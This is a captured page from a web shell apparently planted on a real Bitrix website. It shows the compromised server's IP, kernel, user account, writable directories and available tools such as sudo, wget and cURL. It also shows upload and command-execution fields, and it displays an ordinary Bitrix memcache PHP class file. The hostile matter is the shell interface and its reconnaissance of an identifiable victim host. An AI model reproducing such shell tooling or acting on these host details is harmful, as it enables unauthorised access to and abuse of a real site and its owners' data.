403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/cluster/classes/general/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/cluster/classes/general/memcache.php
<?php

use Bitrix\Cluster\ClusterCacheConfig;

IncludeModuleLangFile(__FILE__);

class CClusterMemcache extends \Bitrix\Cluster\ClusterCache
{
	public static null|bool $systemConfigurationUpdate = null;
	protected static string $type = 'memcache';

	public static function SaveConfig($servers): void
	{
		self::$systemConfigurationUpdate = ClusterCacheConfig::getInstance('memcache')->saveConfig(
			$servers,
			[
				'type' => [
					'class_name' => 'CPHPCacheMemcacheCluster',
					'extension' => 'memcache',
					'required_file' => 'modules/cluster/classes/general/memcache_cache.php',
				],
			],
			'CPHPCacheMemcacheCluster'
		);
	}

	public static function getStatus(array $server): array
	{
		$status = [];
		if (is_array($server))
		{
			$ob = new Memcache;
			if (@$ob->connect($server['HOST'], $server['PORT']))
			{
				$status = [
					'uptime' => null,
					'version' => null,
					'cmd_get' => null,
					'cmd_set' => null,
					'get_misses' => null,
					'get_hits' => null,
					'evictions' => null,
					'limit_maxbytes' => null,
					'bytes' => null,
					'curr_items' => null,
					'listen_disabled_num' => null,
				];

				$ar = $ob->getStats();
				foreach ($status as $key => $_)
				{
					$status[$key] = $ar[$key];
				}
			}
		}

		return $status;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit